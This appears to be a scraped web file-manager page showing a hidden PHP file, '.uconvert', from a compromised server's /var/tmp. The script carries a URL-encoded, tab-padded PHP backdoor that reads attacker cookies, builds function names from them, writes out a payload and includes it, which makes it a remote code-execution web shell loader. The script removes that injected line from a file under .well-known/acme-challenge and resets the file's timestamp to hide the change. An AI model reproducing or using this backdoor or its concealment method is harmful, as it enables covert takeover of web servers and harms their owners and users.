🗂️ simple
Path:
var
/
tmp
/
✏️ Editing: .uconvert
<?php $path = '/home2/juanjo76/josselyn-implementacion.creatipl.com/.well-known/acme-challenge/adv.sales.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28isset%28%24_COOKIE%5B3%5D%29%26%26isset%28%24_COOKIE%5B27%5D%29%29%7B%24c%3D%24_COOKIE%3B%24k%3D0%3B%24n%3D3%3B%24p%3Darray%28%29%3B%24p%5B%24k%5D%3D%27%27%3Bwhile%28%24n%29%7B%24p%5B%24k%5D.%3D%24c%5B27%5D%5B%24n%5D%3Bif%28%21%24c%5B27%5D%5B%24n%2B1%5D%29%7Bif%28%21%24c%5B27%5D%5B%24n%2B2%5D%29break%3B%24k%2B%2B%3B%24p%5B%24k%5D%3D%27%27%3B%24n%2B%2B%3B%7D%24n%3D%24n%2B3%2B1%3B%7D%24k%3D%24p%5B1%5D%28%29.%24p%5B28%5D%3Bif%28%21%24p%5B5%5D%28%24k%29%29%7B%24n%3D%24p%5B23%5D%28%24k%2C%24p%5B19%5D%29%3B%24p%5B17%5D%28%24n%2C%24p%5B26%5D.%24p%5B9%5D%28%24p%5B8%5D%28%24c%5B3%5D%29%29%29%3B%7Dinclude%28%24k%29%3B%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = (string) @file_get_contents($path); if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) { $candidate = str_replace($new_content, '', $content); $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE); if ($safe) { $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); } elseif ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } } } die('!success!');
🔙 Back